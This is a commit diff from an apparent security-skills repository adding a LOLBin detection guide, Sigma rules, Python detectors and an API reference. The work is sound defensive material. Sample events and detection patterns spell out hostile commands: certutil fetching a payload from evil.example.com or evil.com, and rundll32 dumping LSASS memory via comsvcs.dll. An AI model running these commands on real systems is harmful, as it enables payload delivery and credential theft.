mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-09-15 20:35:23 +03:00
Production hardening: security fixes, code quality, 724 skills complete
- Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files
This commit is contained in:
@@ -17,3 +17,488 @@ license: Apache-2.0
|
||||
Monitor for suspicious use of legitimate Windows binaries (LOLBins)
|
||||
including certutil, mshta, rundll32, regsvr32, and others used in
|
||||
fileless and living-off-the-land attack techniques.
|
||||
|
||||
## When to Use
|
||||
|
||||
- Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time
|
||||
- Investigating alerts where legitimate system binaries appear in unexpected execution contexts
|
||||
- Threat hunting across endpoint telemetry for fileless attack indicators
|
||||
- Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage
|
||||
- Creating Sysmon configurations tuned to capture LOLBin-related process creation events
|
||||
- Responding to incidents where adversaries bypassed AV by using only built-in OS tools
|
||||
|
||||
**Do not use** for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)
|
||||
- SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)
|
||||
- Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)
|
||||
- LOLBAS project reference: https://lolbas-project.github.io/
|
||||
- Python 3.8+ with `evtx`, `pandas` for offline log analysis
|
||||
- Sigma rule repository for cross-platform detection rule authoring
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Deploy a LOLBin-Focused Sysmon Configuration
|
||||
|
||||
Create a Sysmon config that captures the process creation and network events needed for LOLBin detection:
|
||||
|
||||
```xml
|
||||
<!-- File: sysmon-lolbin-detection.xml -->
|
||||
<Sysmon schemaversion="4.90">
|
||||
<EventFiltering>
|
||||
<!-- Process Creation: capture all LOLBin executions with full command lines -->
|
||||
<RuleGroup name="LOLBin Process Creation" groupRelation="or">
|
||||
<ProcessCreate onmatch="include">
|
||||
<Image condition="end with">certutil.exe</Image>
|
||||
<Image condition="end with">mshta.exe</Image>
|
||||
<Image condition="end with">rundll32.exe</Image>
|
||||
<Image condition="end with">regsvr32.exe</Image>
|
||||
<Image condition="end with">msbuild.exe</Image>
|
||||
<Image condition="end with">installutil.exe</Image>
|
||||
<Image condition="end with">cmstp.exe</Image>
|
||||
<Image condition="end with">wmic.exe</Image>
|
||||
<Image condition="end with">bitsadmin.exe</Image>
|
||||
<Image condition="end with">certreq.exe</Image>
|
||||
<Image condition="end with">esentutl.exe</Image>
|
||||
<Image condition="end with">expand.exe</Image>
|
||||
<Image condition="end with">extrac32.exe</Image>
|
||||
<Image condition="end with">findstr.exe</Image>
|
||||
<Image condition="end with">hh.exe</Image>
|
||||
<Image condition="end with">ie4uinit.exe</Image>
|
||||
<Image condition="end with">mavinject.exe</Image>
|
||||
<Image condition="end with">msiexec.exe</Image>
|
||||
<Image condition="end with">odbcconf.exe</Image>
|
||||
<Image condition="end with">pcalua.exe</Image>
|
||||
<Image condition="end with">presentationhost.exe</Image>
|
||||
<Image condition="end with">replace.exe</Image>
|
||||
<Image condition="end with">xwizard.exe</Image>
|
||||
<!-- PowerShell variants -->
|
||||
<Image condition="end with">powershell.exe</Image>
|
||||
<Image condition="end with">pwsh.exe</Image>
|
||||
<!-- Script hosts -->
|
||||
<Image condition="end with">cscript.exe</Image>
|
||||
<Image condition="end with">wscript.exe</Image>
|
||||
</ProcessCreate>
|
||||
</RuleGroup>
|
||||
|
||||
<!-- Network connections from LOLBins (highly suspicious) -->
|
||||
<RuleGroup name="LOLBin Network" groupRelation="or">
|
||||
<NetworkConnect onmatch="include">
|
||||
<Image condition="end with">certutil.exe</Image>
|
||||
<Image condition="end with">mshta.exe</Image>
|
||||
<Image condition="end with">rundll32.exe</Image>
|
||||
<Image condition="end with">regsvr32.exe</Image>
|
||||
<Image condition="end with">msbuild.exe</Image>
|
||||
<Image condition="end with">bitsadmin.exe</Image>
|
||||
<Image condition="end with">expand.exe</Image>
|
||||
<Image condition="end with">esentutl.exe</Image>
|
||||
<Image condition="end with">replace.exe</Image>
|
||||
</NetworkConnect>
|
||||
</RuleGroup>
|
||||
</EventFiltering>
|
||||
</Sysmon>
|
||||
```
|
||||
|
||||
```powershell
|
||||
# Install or update Sysmon with the LOLBin config
|
||||
sysmon64.exe -accepteula -i sysmon-lolbin-detection.xml
|
||||
|
||||
# Update existing Sysmon installation
|
||||
sysmon64.exe -c sysmon-lolbin-detection.xml
|
||||
```
|
||||
|
||||
### Step 2: Build Sigma Detection Rules for Key LOLBins
|
||||
|
||||
Write Sigma rules that detect specific abuse patterns, translatable to any SIEM:
|
||||
|
||||
```yaml
|
||||
# File: sigma/certutil_download.yml
|
||||
title: Certutil Used to Download File
|
||||
id: a1b2c3d4-5678-9abc-def0-123456789abc
|
||||
status: stable
|
||||
description: >
|
||||
Detects certutil.exe being used to download files from remote URLs,
|
||||
a common LOLBin technique for payload delivery (LOLBAS T1105).
|
||||
references:
|
||||
- https://lolbas-project.github.io/lolbas/Binaries/Certutil/
|
||||
- https://attack.mitre.org/techniques/T1105/
|
||||
author: Threat Detection Team
|
||||
date: 2026/01/20
|
||||
logsource:
|
||||
category: process_creation
|
||||
product: windows
|
||||
detection:
|
||||
selection:
|
||||
Image|endswith: '\certutil.exe'
|
||||
CommandLine|contains|all:
|
||||
- 'urlcache'
|
||||
- '-f'
|
||||
- 'http'
|
||||
condition: selection
|
||||
falsepositives:
|
||||
- Legitimate certificate enrollment using certutil with URL parameters
|
||||
level: high
|
||||
tags:
|
||||
- attack.defense_evasion
|
||||
- attack.t1218
|
||||
- attack.command_and_control
|
||||
- attack.t1105
|
||||
```
|
||||
|
||||
```yaml
|
||||
# File: sigma/mshta_execution.yml
|
||||
title: MSHTA Executing Remote or Inline Script
|
||||
id: b2c3d4e5-6789-abcd-ef01-234567890bcd
|
||||
status: stable
|
||||
description: >
|
||||
Detects mshta.exe executing scripts from URLs or inline VBScript/JavaScript,
|
||||
commonly used for application whitelisting bypass and initial access.
|
||||
references:
|
||||
- https://lolbas-project.github.io/lolbas/Binaries/Mshta/
|
||||
- https://attack.mitre.org/techniques/T1218/005/
|
||||
logsource:
|
||||
category: process_creation
|
||||
product: windows
|
||||
detection:
|
||||
selection_remote:
|
||||
Image|endswith: '\mshta.exe'
|
||||
CommandLine|contains: 'http'
|
||||
selection_inline:
|
||||
Image|endswith: '\mshta.exe'
|
||||
CommandLine|contains:
|
||||
- 'vbscript:'
|
||||
- 'javascript:'
|
||||
selection_parent_anomaly:
|
||||
Image|endswith: '\mshta.exe'
|
||||
ParentImage|endswith:
|
||||
- '\winword.exe'
|
||||
- '\excel.exe'
|
||||
- '\outlook.exe'
|
||||
- '\powerpnt.exe'
|
||||
condition: selection_remote or selection_inline or selection_parent_anomaly
|
||||
falsepositives:
|
||||
- Legacy HTA-based internal applications
|
||||
level: high
|
||||
```
|
||||
|
||||
```yaml
|
||||
# File: sigma/regsvr32_scrobj.yml
|
||||
title: Regsvr32 Squiblydoo Scriptlet Execution
|
||||
id: c3d4e5f6-7890-bcde-f012-345678901cde
|
||||
status: stable
|
||||
description: >
|
||||
Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,
|
||||
known as the Squiblydoo technique for AppLocker bypass.
|
||||
references:
|
||||
- https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
|
||||
- https://attack.mitre.org/techniques/T1218/010/
|
||||
logsource:
|
||||
category: process_creation
|
||||
product: windows
|
||||
detection:
|
||||
selection:
|
||||
Image|endswith: '\regsvr32.exe'
|
||||
CommandLine|contains|all:
|
||||
- 'scrobj.dll'
|
||||
- '/i:'
|
||||
condition: selection
|
||||
falsepositives:
|
||||
- Legitimate COM scriptlet registration (rare in modern environments)
|
||||
level: critical
|
||||
```
|
||||
|
||||
### Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns
|
||||
|
||||
Parse and correlate Sysmon events to identify suspicious LOLBin execution:
|
||||
|
||||
```python
|
||||
import json
|
||||
import re
|
||||
from datetime import datetime, timedelta
|
||||
from collections import defaultdict
|
||||
from pathlib import Path
|
||||
|
||||
# Known LOLBins and their suspicious command-line indicators
|
||||
LOLBIN_SIGNATURES = {
|
||||
"certutil.exe": {
|
||||
"suspicious_args": [
|
||||
r"-urlcache\s+-f\s+http",
|
||||
r"-decode\s+",
|
||||
r"-encode\s+",
|
||||
r"-verifyctl\s+.*http",
|
||||
],
|
||||
"mitre": "T1218, T1105",
|
||||
"severity": "high"
|
||||
},
|
||||
"mshta.exe": {
|
||||
"suspicious_args": [
|
||||
r"https?://",
|
||||
r"vbscript:",
|
||||
r"javascript:",
|
||||
r"about:",
|
||||
],
|
||||
"mitre": "T1218.005",
|
||||
"severity": "high"
|
||||
},
|
||||
"rundll32.exe": {
|
||||
"suspicious_args": [
|
||||
r"javascript:",
|
||||
r"shell32\.dll.*ShellExec_RunDLL",
|
||||
r"\\\\.*\\.*\.dll", # UNC path DLL loading
|
||||
r"comsvcs\.dll.*MiniDump", # LSASS dump via comsvcs
|
||||
],
|
||||
"mitre": "T1218.011",
|
||||
"severity": "critical"
|
||||
},
|
||||
"regsvr32.exe": {
|
||||
"suspicious_args": [
|
||||
r"/s\s+/n\s+/u\s+/i:",
|
||||
r"scrobj\.dll",
|
||||
r"https?://",
|
||||
],
|
||||
"mitre": "T1218.010",
|
||||
"severity": "critical"
|
||||
},
|
||||
"bitsadmin.exe": {
|
||||
"suspicious_args": [
|
||||
r"/transfer\s+.*https?://",
|
||||
r"/create\s+.*\/addfile\s+.*https?://",
|
||||
r"/SetNotifyCmdLine",
|
||||
],
|
||||
"mitre": "T1197",
|
||||
"severity": "high"
|
||||
},
|
||||
"wmic.exe": {
|
||||
"suspicious_args": [
|
||||
r"process\s+call\s+create",
|
||||
r"/node:",
|
||||
r"os\s+get\s+/format:.*https?://",
|
||||
r"xsl.*https?://",
|
||||
],
|
||||
"mitre": "T1047",
|
||||
"severity": "high"
|
||||
},
|
||||
"msbuild.exe": {
|
||||
"suspicious_args": [
|
||||
r"\.xml\b",
|
||||
r"\.csproj\b",
|
||||
r"\\temp\\",
|
||||
r"\\appdata\\",
|
||||
],
|
||||
"mitre": "T1127.001",
|
||||
"severity": "high"
|
||||
},
|
||||
"mavinject.exe": {
|
||||
"suspicious_args": [
|
||||
r"/INJECTRUNNING\s+\d+",
|
||||
],
|
||||
"mitre": "T1218.013",
|
||||
"severity": "critical"
|
||||
},
|
||||
}
|
||||
|
||||
def analyze_sysmon_events(events):
|
||||
"""Analyze Sysmon process creation events for LOLBin abuse."""
|
||||
alerts = []
|
||||
|
||||
for event in events:
|
||||
image = event.get("Image", "").lower()
|
||||
cmdline = event.get("CommandLine", "")
|
||||
parent = event.get("ParentImage", "")
|
||||
|
||||
# Check if the process is a known LOLBin
|
||||
for lolbin, config in LOLBIN_SIGNATURES.items():
|
||||
if image.endswith(lolbin.lower()):
|
||||
for pattern in config["suspicious_args"]:
|
||||
if re.search(pattern, cmdline, re.IGNORECASE):
|
||||
alert = {
|
||||
"timestamp": event.get("UtcTime", ""),
|
||||
"hostname": event.get("Computer", ""),
|
||||
"lolbin": lolbin,
|
||||
"command_line": cmdline,
|
||||
"parent_process": parent,
|
||||
"user": event.get("User", ""),
|
||||
"process_id": event.get("ProcessId", ""),
|
||||
"parent_pid": event.get("ParentProcessId", ""),
|
||||
"mitre_technique": config["mitre"],
|
||||
"severity": config["severity"],
|
||||
"matched_pattern": pattern,
|
||||
}
|
||||
alerts.append(alert)
|
||||
break
|
||||
return alerts
|
||||
|
||||
# Example usage with parsed Sysmon events
|
||||
sample_events = [
|
||||
{
|
||||
"UtcTime": "2026-01-20 14:32:15.000",
|
||||
"Computer": "WORKSTATION-01",
|
||||
"Image": "C:\\Windows\\System32\\certutil.exe",
|
||||
"CommandLine": "certutil.exe -urlcache -f http://evil.example.com/payload.exe C:\\temp\\update.exe",
|
||||
"ParentImage": "C:\\Windows\\System32\\cmd.exe",
|
||||
"User": "CORP\\jsmith",
|
||||
"ProcessId": "4532",
|
||||
"ParentProcessId": "2108",
|
||||
},
|
||||
{
|
||||
"UtcTime": "2026-01-20 14:33:01.000",
|
||||
"Computer": "WORKSTATION-01",
|
||||
"Image": "C:\\Windows\\System32\\rundll32.exe",
|
||||
"CommandLine": "rundll32.exe comsvcs.dll, MiniDump 624 C:\\temp\\dump.bin full",
|
||||
"ParentImage": "C:\\Windows\\System32\\cmd.exe",
|
||||
"User": "CORP\\jsmith",
|
||||
"ProcessId": "5128",
|
||||
"ParentProcessId": "2108",
|
||||
},
|
||||
]
|
||||
|
||||
alerts = analyze_sysmon_events(sample_events)
|
||||
for alert in alerts:
|
||||
print(f"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}")
|
||||
print(f" MITRE: {alert['mitre_technique']}")
|
||||
print(f" Command: {alert['command_line'][:120]}")
|
||||
print(f" Parent: {alert['parent_process']}")
|
||||
print(f" User: {alert['user']}")
|
||||
print()
|
||||
```
|
||||
|
||||
### Step 4: Detect LOLBin Network Connections
|
||||
|
||||
LOLBins making outbound network connections is a strong indicator of malicious use:
|
||||
|
||||
```python
|
||||
def detect_lolbin_network_activity(network_events, process_events):
|
||||
"""Correlate Sysmon network events (ID 3) with process creation (ID 1)
|
||||
to find LOLBins making outbound connections."""
|
||||
|
||||
# LOLBins that should rarely make outbound connections
|
||||
NETWORK_SUSPICIOUS = {
|
||||
"certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
|
||||
"msbuild.exe", "installutil.exe", "bitsadmin.exe", "esentutl.exe",
|
||||
"expand.exe", "replace.exe", "cmstp.exe", "presentationhost.exe",
|
||||
}
|
||||
|
||||
alerts = []
|
||||
for event in network_events:
|
||||
image = event.get("Image", "").lower()
|
||||
binary_name = image.split("\\")[-1] if "\\" in image else image
|
||||
|
||||
if binary_name in NETWORK_SUSPICIOUS:
|
||||
dest_ip = event.get("DestinationIp", "")
|
||||
dest_port = event.get("DestinationPort", "")
|
||||
|
||||
# Skip localhost and internal DNS
|
||||
if dest_ip.startswith("127.") or dest_ip == "::1":
|
||||
continue
|
||||
|
||||
alert = {
|
||||
"type": "lolbin_network_connection",
|
||||
"binary": binary_name,
|
||||
"destination_ip": dest_ip,
|
||||
"destination_port": dest_port,
|
||||
"destination_hostname": event.get("DestinationHostname", ""),
|
||||
"source_ip": event.get("SourceIp", ""),
|
||||
"user": event.get("User", ""),
|
||||
"timestamp": event.get("UtcTime", ""),
|
||||
"severity": "critical",
|
||||
}
|
||||
alerts.append(alert)
|
||||
print(f"[CRITICAL] {binary_name} connected to "
|
||||
f"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N/A')})")
|
||||
|
||||
return alerts
|
||||
```
|
||||
|
||||
### Step 5: Monitor Anomalous Parent-Child Process Relationships
|
||||
|
||||
```python
|
||||
# Suspicious parent-child relationships indicating LOLBin abuse
|
||||
SUSPICIOUS_PARENT_CHILD = [
|
||||
# Office apps spawning LOLBins (macro execution)
|
||||
{"parent": ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"],
|
||||
"child": ["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe",
|
||||
"wscript.exe", "cscript.exe", "certutil.exe"],
|
||||
"severity": "critical", "mitre": "T1204.002"},
|
||||
|
||||
# Explorer spawning script interpreters directly
|
||||
{"parent": ["explorer.exe"],
|
||||
"child": ["mshta.exe", "regsvr32.exe", "msbuild.exe"],
|
||||
"severity": "high", "mitre": "T1218"},
|
||||
|
||||
# WMI provider spawning processes (lateral movement)
|
||||
{"parent": ["wmiprvse.exe"],
|
||||
"child": ["cmd.exe", "powershell.exe", "mshta.exe"],
|
||||
"severity": "critical", "mitre": "T1047"},
|
||||
|
||||
# Services spawning unusual children
|
||||
{"parent": ["services.exe"],
|
||||
"child": ["cmd.exe", "powershell.exe", "mshta.exe", "rundll32.exe"],
|
||||
"severity": "high", "mitre": "T1543.003"},
|
||||
]
|
||||
|
||||
def check_parent_child_anomaly(event):
|
||||
"""Check if a process creation event has a suspicious parent-child pair."""
|
||||
parent = event.get("ParentImage", "").split("\\")[-1].lower()
|
||||
child = event.get("Image", "").split("\\")[-1].lower()
|
||||
|
||||
for rule in SUSPICIOUS_PARENT_CHILD:
|
||||
if parent in rule["parent"] and child in rule["child"]:
|
||||
return {
|
||||
"alert_type": "suspicious_parent_child",
|
||||
"parent": parent,
|
||||
"child": child,
|
||||
"command_line": event.get("CommandLine", ""),
|
||||
"mitre": rule["mitre"],
|
||||
"severity": rule["severity"],
|
||||
"hostname": event.get("Computer", ""),
|
||||
"user": event.get("User", ""),
|
||||
"timestamp": event.get("UtcTime", ""),
|
||||
}
|
||||
return None
|
||||
```
|
||||
|
||||
### Step 6: Implement AppLocker or WDAC Hardening
|
||||
|
||||
Restrict unnecessary LOLBin execution with application control policies:
|
||||
|
||||
```powershell
|
||||
# Query current AppLocker policy
|
||||
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
|
||||
|
||||
# Create AppLocker rules to restrict certutil to admin-only
|
||||
$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix "Block" `
|
||||
-FileInformation "C:\Windows\System32\certutil.exe" `
|
||||
-User "S-1-1-0" -Deny
|
||||
|
||||
# Export current policy for backup before applying changes
|
||||
Get-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml
|
||||
|
||||
# Block specific LOLBins for standard users via GPO script
|
||||
$lolbins_to_restrict = @(
|
||||
"mshta.exe", "cmstp.exe", "msbuild.exe", "installutil.exe",
|
||||
"regsvr32.exe", "presentationhost.exe", "ie4uinit.exe",
|
||||
"mavinject.exe", "xwizard.exe"
|
||||
)
|
||||
|
||||
foreach ($binary in $lolbins_to_restrict) {
|
||||
$path = "C:\Windows\System32\$binary"
|
||||
if (Test-Path $path) {
|
||||
Write-Output "Restricting: $path"
|
||||
# Apply WDAC deny rule via PowerShell
|
||||
# In production, use Group Policy or Intune WDAC policies
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Verification
|
||||
|
||||
- Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins
|
||||
- Validate Sigma rules convert correctly to your SIEM query language using `sigmac` or `sigma-cli`
|
||||
- Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire
|
||||
- Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g., `winword.exe` spawning `certutil.exe`)
|
||||
- Confirm LOLBin network connection detection triggers when `certutil.exe` or `mshta.exe` reach out to external IPs
|
||||
- Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production
|
||||
- Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment
|
||||
- Cross-reference detections against the LOLBAS project database at https://lolbas-project.github.io/ for completeness
|
||||
|
||||
@@ -1,70 +1,90 @@
|
||||
# API Reference: Detecting Living Off the Land Attacks
|
||||
|
||||
## LOLBAS Project
|
||||
- Website: https://lolbas-project.github.io/
|
||||
- API: https://lolbas-project.github.io/api/lolbas.json
|
||||
- GitHub: https://github.com/LOLBAS-Project/LOLBAS
|
||||
## CLI Usage
|
||||
|
||||
## Key LOLBins and MITRE Mappings
|
||||
| Binary | MITRE ATT&CK | Abuse Type |
|
||||
|--------|-------------|------------|
|
||||
| certutil.exe | T1140, T1105 | File download, decode |
|
||||
| mshta.exe | T1218.005 | Script execution via HTA |
|
||||
| rundll32.exe | T1218.011 | Proxy execution |
|
||||
| regsvr32.exe | T1218.010 | COM scriptlet execution |
|
||||
| msbuild.exe | T1127.001 | Code compilation |
|
||||
| bitsadmin.exe | T1197, T1105 | File download, persistence |
|
||||
| wmic.exe | T1047 | WMI execution |
|
||||
| cscript.exe | T1059.005 | VBS/JS script execution |
|
||||
| installutil.exe | T1218.004 | .NET install bypass |
|
||||
| powershell.exe | T1059.001 | Script execution |
|
||||
```bash
|
||||
# Analyze Sysmon EVTX file
|
||||
python agent.py sysmon-events.evtx
|
||||
|
||||
## Sysmon Event IDs for Detection
|
||||
| Event ID | Description |
|
||||
|----------|------------|
|
||||
| 1 | Process Create (CommandLine, ParentImage) |
|
||||
| 3 | Network Connection (detect downloads) |
|
||||
| 7 | Image Loaded (DLL side-loading) |
|
||||
| 11 | File Create (dropped payloads) |
|
||||
| 15 | FileCreateStreamHash (ADS abuse) |
|
||||
# Analyze Sysmon JSON/JSONL export (one event per line)
|
||||
python agent.py sysmon-events.jsonl
|
||||
|
||||
## Sigma Rules for LOLBin Detection
|
||||
```yaml
|
||||
title: Certutil File Download
|
||||
logsource:
|
||||
category: process_creation
|
||||
product: windows
|
||||
detection:
|
||||
selection:
|
||||
Image|endswith: '\\certutil.exe'
|
||||
CommandLine|contains|all:
|
||||
- 'urlcache'
|
||||
- 'split'
|
||||
- 'http'
|
||||
condition: selection
|
||||
level: high
|
||||
tags:
|
||||
- attack.defense_evasion
|
||||
- attack.t1140
|
||||
# Filter output for critical alerts
|
||||
python agent.py sysmon-events.evtx 2>/dev/null | grep CRITICAL
|
||||
```
|
||||
|
||||
## Splunk SPL Detection
|
||||
```spl
|
||||
index=sysmon EventCode=1
|
||||
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|bitsadmin)\\.exe$")
|
||||
| eval suspicious=case(
|
||||
like(CommandLine, "%urlcache%"), "certutil download",
|
||||
like(CommandLine, "%javascript:%"), "script execution",
|
||||
like(CommandLine, "%-enc %"), "encoded command",
|
||||
true(), "review")
|
||||
| where suspicious!="review"
|
||||
| table _time Computer User Image CommandLine ParentImage suspicious
|
||||
## LOLBins Detected
|
||||
|
||||
| Binary | MITRE Technique | Severity | Abuse Type |
|
||||
|--------|----------------|----------|------------|
|
||||
| certutil.exe | T1218, T1105, T1140 | high | Download, decode, encode |
|
||||
| mshta.exe | T1218.005 | high | Remote/inline script execution |
|
||||
| rundll32.exe | T1218.011 | critical | JS execution, LSASS dump, DLL loading |
|
||||
| regsvr32.exe | T1218.010 | critical | Squiblydoo scriptlet execution |
|
||||
| bitsadmin.exe | T1197, T1105 | high | BITS download, job notification |
|
||||
| wmic.exe | T1047 | high | Remote process creation, XSL processing |
|
||||
| msbuild.exe | T1127.001 | high | Inline task execution from temp/AppData |
|
||||
| installutil.exe | T1218.004 | high | Silent uninstall execution |
|
||||
| cmstp.exe | T1218.003 | high | INF-based execution |
|
||||
| mavinject.exe | T1218.013 | critical | DLL injection into running process |
|
||||
| cscript.exe | T1059.005 | medium | Remote/suspicious script execution |
|
||||
| wscript.exe | T1059.005 | medium | Remote/suspicious script execution |
|
||||
|
||||
## Suspicious Parent-Child Pairs Detected
|
||||
|
||||
| Parent Process | Child Process | MITRE | Severity |
|
||||
|---------------|--------------|-------|----------|
|
||||
| winword/excel/outlook | cmd/powershell/mshta/certutil | T1204.002 | critical |
|
||||
| wmiprvse.exe | cmd/powershell/mshta/rundll32 | T1047 | critical |
|
||||
| services.exe | cmd/powershell/mshta/rundll32 | T1543.003 | high |
|
||||
| svchost.exe | mshta/regsvr32/msbuild/certutil | T1218 | high |
|
||||
|
||||
## Network-Suspicious LOLBins
|
||||
|
||||
LOLBins making outbound network connections are flagged as CRITICAL:
|
||||
|
||||
certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe,
|
||||
installutil.exe, bitsadmin.exe, esentutl.exe, expand.exe, replace.exe, cmstp.exe
|
||||
|
||||
## Input Formats
|
||||
|
||||
### JSON Events Format
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"Image": "C:\\Windows\\System32\\certutil.exe",
|
||||
"CommandLine": "certutil -urlcache -f http://evil.com/payload.exe C:\\temp\\p.exe",
|
||||
"ParentImage": "C:\\Windows\\System32\\cmd.exe",
|
||||
"User": "CORP\\jsmith",
|
||||
"UtcTime": "2026-03-19 14:32:15.000",
|
||||
"Computer": "WORKSTATION-01"
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
## Suspicious Parent-Child Relationships
|
||||
| Parent | Suspicious Child |
|
||||
|--------|-----------------|
|
||||
| winword.exe | cmd.exe, powershell.exe, mshta.exe |
|
||||
| excel.exe | cmd.exe, powershell.exe, wmic.exe |
|
||||
| outlook.exe | powershell.exe, cmd.exe |
|
||||
| wmiprvse.exe | powershell.exe, cmd.exe |
|
||||
### EVTX Requirements
|
||||
|
||||
Sysmon EVTX files with:
|
||||
- Event ID 1 (Process Creation) with full command-line logging
|
||||
- Event ID 3 (Network Connection) for LOLBin network detection
|
||||
|
||||
## Report Output Schema
|
||||
|
||||
```json
|
||||
{
|
||||
"report_date": "2026-03-19T12:00:00+00:00",
|
||||
"total_findings": 15,
|
||||
"by_severity": {"critical": 3, "high": 8, "medium": 4},
|
||||
"by_lolbin": {"certutil.exe": 5, "rundll32.exe": 3, "mshta.exe": 2},
|
||||
"mitre_techniques_observed": ["T1047", "T1105", "T1218", "T1218.005", "T1218.011"],
|
||||
"findings": []
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- LOLBAS Project: https://lolbas-project.github.io/
|
||||
- MITRE ATT&CK Defense Evasion: https://attack.mitre.org/tactics/TA0005/
|
||||
- Sysmon Documentation: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
|
||||
- Sigma LOLBin Rules: https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation
|
||||
|
||||
@@ -1,222 +1,501 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Living off the land (LOLBin) attack detection agent.
|
||||
"""LOLBin (Living Off the Land Binary) detection agent.
|
||||
|
||||
Monitors process creation logs for suspicious use of legitimate Windows
|
||||
binaries, correlates with LOLBAS project data, and flags anomalous
|
||||
command-line patterns and parent-child process relationships.
|
||||
Parses Windows Sysmon Event ID 1 (Process Create) and Event ID 3
|
||||
(Network Connection) logs in EVTX or JSON format to detect suspicious
|
||||
LOLBin execution patterns, anomalous parent-child relationships, and
|
||||
LOLBin network activity.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import datetime
|
||||
import xml.etree.ElementTree as ET
|
||||
from collections import defaultdict
|
||||
from datetime import datetime
|
||||
|
||||
try:
|
||||
import requests
|
||||
HAS_REQUESTS = True
|
||||
import Evtx.Evtx as evtx
|
||||
HAS_EVTX = True
|
||||
except ImportError:
|
||||
HAS_REQUESTS = False
|
||||
HAS_EVTX = False
|
||||
|
||||
|
||||
# LOLBin signatures: binary name -> suspicious command-line patterns + MITRE mapping
|
||||
LOLBIN_SIGNATURES = {
|
||||
"certutil.exe": {
|
||||
"suspicious_args": [
|
||||
r"-urlcache", r"-split", r"-decode", r"-encode",
|
||||
r"-verifyctl", r"http[s]?://",
|
||||
"patterns": [
|
||||
r"-urlcache\s+-f\s+https?://",
|
||||
r"-decode\s+",
|
||||
r"-encode\s+",
|
||||
r"-verifyctl\s+.*https?://",
|
||||
r"-ping\s+https?://",
|
||||
],
|
||||
"mitre": ["T1140", "T1105"],
|
||||
"description": "Certificate utility abused for file download/decode",
|
||||
"mitre": ["T1218", "T1105"],
|
||||
"severity": "high",
|
||||
"description": "Certificate utility used for file download/decode",
|
||||
},
|
||||
"mshta.exe": {
|
||||
"suspicious_args": [r"javascript:", r"vbscript:", r"http[s]?://", r"about:"],
|
||||
"patterns": [
|
||||
r"https?://",
|
||||
r"vbscript:",
|
||||
r"javascript:",
|
||||
r"about:",
|
||||
],
|
||||
"mitre": ["T1218.005"],
|
||||
"description": "HTML Application host used for script execution",
|
||||
"severity": "high",
|
||||
"description": "HTML Application host executing remote/inline scripts",
|
||||
},
|
||||
"rundll32.exe": {
|
||||
"suspicious_args": [
|
||||
r"javascript:", r"shell32\.dll.*ShellExec_RunDLL",
|
||||
r"url\.dll.*FileProtocolHandler", r"advpack\.dll.*RegisterOCX",
|
||||
"patterns": [
|
||||
r"javascript:",
|
||||
r"shell32\.dll.*ShellExec_RunDLL",
|
||||
r"\\\\.*\\.*\.dll",
|
||||
r"comsvcs\.dll.*MiniDump",
|
||||
r"comsvcs\.dll.*#24",
|
||||
r"url\.dll.*OpenURL",
|
||||
r"url\.dll.*FileProtocolHandler",
|
||||
r"advpack\.dll.*RegisterOCX",
|
||||
],
|
||||
"mitre": ["T1218.011"],
|
||||
"description": "DLL loader abused for proxy execution",
|
||||
"severity": "critical",
|
||||
"description": "DLL proxy execution via rundll32",
|
||||
},
|
||||
"regsvr32.exe": {
|
||||
"suspicious_args": [r"/s", r"/u", r"/i:http", r"scrobj\.dll"],
|
||||
"patterns": [
|
||||
r"/s\s+/n\s+/u\s+/i:",
|
||||
r"scrobj\.dll",
|
||||
r"https?://",
|
||||
],
|
||||
"mitre": ["T1218.010"],
|
||||
"description": "COM registration utility abused for script execution",
|
||||
},
|
||||
"msbuild.exe": {
|
||||
"suspicious_args": [r"\.xml$", r"\.csproj$", r"/p:", r"\.tmp"],
|
||||
